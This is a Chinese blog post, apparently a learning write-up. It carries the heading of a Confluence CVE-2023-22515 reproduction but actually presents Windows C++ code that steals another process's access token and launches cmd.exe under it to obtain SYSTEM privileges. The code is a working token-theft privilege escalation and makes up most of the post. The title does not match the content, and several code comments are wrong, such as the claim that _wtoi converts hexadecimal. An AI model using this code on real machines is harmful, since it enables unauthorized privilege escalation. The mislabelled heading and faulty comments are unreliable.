Confluence CVE-2023-22515漏洞复现

README

有点想知道怎么不通过创建服务的方式来用SYSTEM权限运行指定的进程，我很好奇。网上搜了搜，分析了一下别人写的，学习了一哈

整体流程

1.获取指定进程的令牌句柄
2.通过令牌句柄创建主令牌
2.通过创建的令牌执行新的Process

实现过程

head.h

#pragma once
#include "iostream"
#include "string"
#include "Windows.h"
using namespace::std;

main.cpp

#include "stdafx.h"
#include "head.h"
class Jack
{
public:
       HANDLE GetAccessToken(DWORD pid) {
              HANDLE currentProcess = {};
              HANDLE Asstoken = {};
              DWORD LastError;
              currentProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pid);
              if (!currentProcess) {
                     LastError = GetLastError();
                     cout << "ERROR:OpenProcess(): " << LastError << endl;
                     return (HANDLE)NULL;
              }
              if (!OpenProcessToken(currentProcess, TOKEN_ASSIGN_PRIMARY |  TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY, &Asstoken)) {
                     LastError = GetLastError();
                     cout << "ERROR:OpenProcessToken(): " << LastError << endl;
                     return (HANDLE)NULL;
              }
              return Asstoken;
       }
       void Runprocess(HANDLE Token) {
              DWORD LastError;
              if (!DuplicateTokenEx(Token, MAXIMUM_ALLOWED, NULL,  SecurityImpersonation, TokenPrimary, &Token)) {
                     LastError = GetLastError();
                     cout << "ERROR:DuplicateTokenEx(): " << LastError << endl;
              }
              STARTUPINFOW si = {};
              PROCESS_INFORMATION pi = {};
              BOOL ret;
              ret = CreateProcessWithTokenW(Token, LOGON_NETCREDENTIALS_ONLY,  L"C:\\Windows\\System32\\cmd.exe", NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si,  &pi);
              if (!ret) {
                     LastError = GetLastError();
                     cout << "ERROR:CreateProcessWithTokenW(): " << LastError <<  endl;
              }
       }
};
//wmain()或main()还是其他main函数。第二个参数里有两个*的代表是转成十六进制，一个*的则是正常值。
int wmain(int argc,WCHAR **argv) { //wmain()是UNICODE版本的main()， _tmain()是个宏，如果是UNICODE则它是wmain()
       if (argc < 2)
       {
              cout << "Usage winlogon <Pid>" << endl;
              return 1;
       }
       DWORD pid;
       pid = _wtoi(argv[1]); //十六进制转整
       cout << "[+] PID: " << pid << endl;
       Jack jk;
       HANDLE Ptoken=jk.GetAccessToken(pid);
       jk.Runprocess(Ptoken);
       return 0;
}

以Administrator权限运行cmd

---

转载请注明来源，欢迎对文章中的引用来源进行考证，欢迎指出任何有错误或不够清晰的表达。